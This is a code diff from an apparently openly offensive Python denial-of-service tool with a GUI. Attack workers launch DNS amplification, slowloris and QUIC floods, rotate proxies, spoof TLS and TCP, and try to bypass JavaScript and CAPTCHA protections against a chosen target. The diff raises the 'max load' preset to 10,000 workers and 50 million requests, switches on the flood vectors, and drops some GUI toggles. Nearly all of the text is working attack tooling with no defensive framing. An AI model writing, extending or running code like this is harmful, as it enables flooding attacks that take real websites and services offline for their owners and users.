+                if worker_id % 10 == 0 and random.random() < 0.1 and IS_ADMIN and SCAPY_AVAILABLE:
+                    threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 100), daemon=True).start()
+                if self.max_load and worker_id == 0 and random.random() < 0.01:
+                    threading.Thread(target=slowloris_attack, args=(self.host, self.port, 30, 2.0, 15.0, None), daemon=True).start()
+                if self.max_load and worker_id == 1 and random.random() < 0.01:
+                    asyncio.create_task(quic_flood(self.host, self.port, 20))
+                if self.http_method == "POST":
+                    body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
+                    headers["Content-Type"] = "application/json"
+                    data = body.encode('utf-8')
                 url = f"{self.scheme}://{self.host}{path}"
                 if self.use_js_bypass:
                     url = add_api_bypass(url)
@@ -3885,15 +3674,13 @@ class UltimateIntegratedEngine:
                         self.proxy_engine.mark_dead(_raw_proxy)
                         continue  # retry with different proxy
                     break  # success or non-proxy 403, don't retry
-        except asyncio.CancelledError:
-            raise
-        except Exception as e:
-            if self.stop_requested:
-                raise
-            self._log(f"[!] Worker {worker_id} CRASH: {e}", "ERROR")
-            import traceback
-            self._log(traceback.format_exc(), "ERROR")
-            await asyncio.sleep(1)
+            except asyncio.CancelledError:
+                break
+            except Exception as exc:
+                if self.stop_requested:
+                    break
+                self._log(f"[!] Worker {worker_id} exception: {exc}", "ERROR")
+                continue
     async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0):
         with self.lock:
             self.stats[f'status_{status}'] += 1
@@ -3943,11 +3730,7 @@ class UltimateIntegratedEngine:
             self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING")
         self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK")
         self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO")
-        if self.attack_mode == "browser":
-            self._log("🌐 Starting browser-based flood (real browsers)...", "ATTACK")
-            workers = [asyncio.create_task(self._browser_worker(i)) for i in range(min(self.threads, 50))]
-        else:
-            workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
+        workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
         self.workers = workers
         self.loop = asyncio.get_running_loop()
         try:
@@ -4040,8 +3823,6 @@ class UltimateIntegratedGUI:
         self.use_tcp_spoof = tk.BooleanVar(value=True)
         self.use_ai_payload = tk.BooleanVar(value=True)
         self.use_captcha = tk.BooleanVar(value=True)
-        self.dns_amplify = tk.BooleanVar(value=False)
-        self.ns_attack = tk.BooleanVar(value=False)
 
         self.use_keepalive = tk.BooleanVar(value=True)
         self.use_http2 = tk.BooleanVar(value=False)
@@ -4213,6 +3994,8 @@ class UltimateIntegratedGUI:
         self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
         self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED)
         self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
+        self.bypass_btn = ttk.Button(control_buttons, text='JS Bypass OFF', command=self.toggle_bypass, style='Secondary.TButton')
+        self.bypass_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
 
         options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe')
         options_card.pack(fill=tk.X, expand=False, pady=(12, 0))
@@ -4224,8 +4007,6 @@ class UltimateIntegratedGUI:
             ('Human Timing', self.use_human_timing),
             ('TLS Spoof', self.use_cffi),
             ('JS Bypass (API)', self.use_js_bypass),
-            ('DNS Amplify', self.dns_amplify),
-            ('NS Attack', self.ns_attack),
             ('TCP Spoof', self.use_tcp_spoof),
             ('AI Payload', self.use_ai_payload),
             ('CAPTCHA', self.use_captcha),
@@ -4347,33 +4128,25 @@ class UltimateIntegratedGUI:
             self.log(f"📁 Proxy file loaded: {filename}", "INFO")
     def set_max_load(self):
         self.mode_var.set("Integrated")
-        self.threads.set(1500)
+        self.threads.set(10000)
         self.duration.set(0)
-        self.requests.set(0)
-        self.method.set("POST")
+        self.requests.set(50000000)
+        self.method.set("GET")
         self.request_rate.set(0)
         self.vpn_mode.set("System Default")
-
         self.use_identities.set(True)
-        self.use_human_timing.set(True)
+        self.use_human_timing.set(False)
         self.use_cffi.set(True)
-        self.use_js_bypass.set(True)
-        self.use_tcp_spoof.set(False)
+        self.use_js_bypass.set(False)
+        self.use_tcp_spoof.set(True)
         self.use_ai_payload.set(True)
         self.use_captcha.set(False)
+
         self.use_keepalive.set(True)
-        self.use_http2.set(False)
-        self.use_random_query.set(True)
         self.max_load.set(True)
-
-        self.dns_amplify_var = tk.BooleanVar(value=False)
-        self.ns_attack_var = tk.BooleanVar(value=False)
-        self.dns_amplify.set(False)
-        self.ns_attack.set(False)
-
-        if hasattr(self, 'current_impersonate'):
-            self.current_impersonate = random.choice(self.impersonate_list)
-        self.log("🧠 SMART MAX LOAD ACTIVATED: 1500 Workers, 4-Vector WP Attack, JS Bypass ON, TLS Spoof ON.", "SUCCESS")
+        self.use_http2.set(True)
+        self.use_random_query.set(True)
+        self.log("🚀 MAX LOAD ACTIVATED: 10,000 Async Workers, TLS Spoof ON, HTTP/2 ON, Slowloris + QUIC ON.", "SUCCESS")
 
     def _find_executable(self, names, extra_paths=None):
         found = []
@@ -5070,8 +4843,6 @@ class UltimateIntegratedGUI:
                 use_tcp_spoof=self.use_tcp_spoof.get(),
                 use_ai_payload=self.use_ai_payload.get(),
                 use_captcha=self.use_captcha.get(),
-                dns_amplify=self.dns_amplify.get(),
-                ns_attack=self.ns_attack.get(),
 
                 keepalive=self.use_keepalive.get(),
                 use_http2=self.use_http2.get(),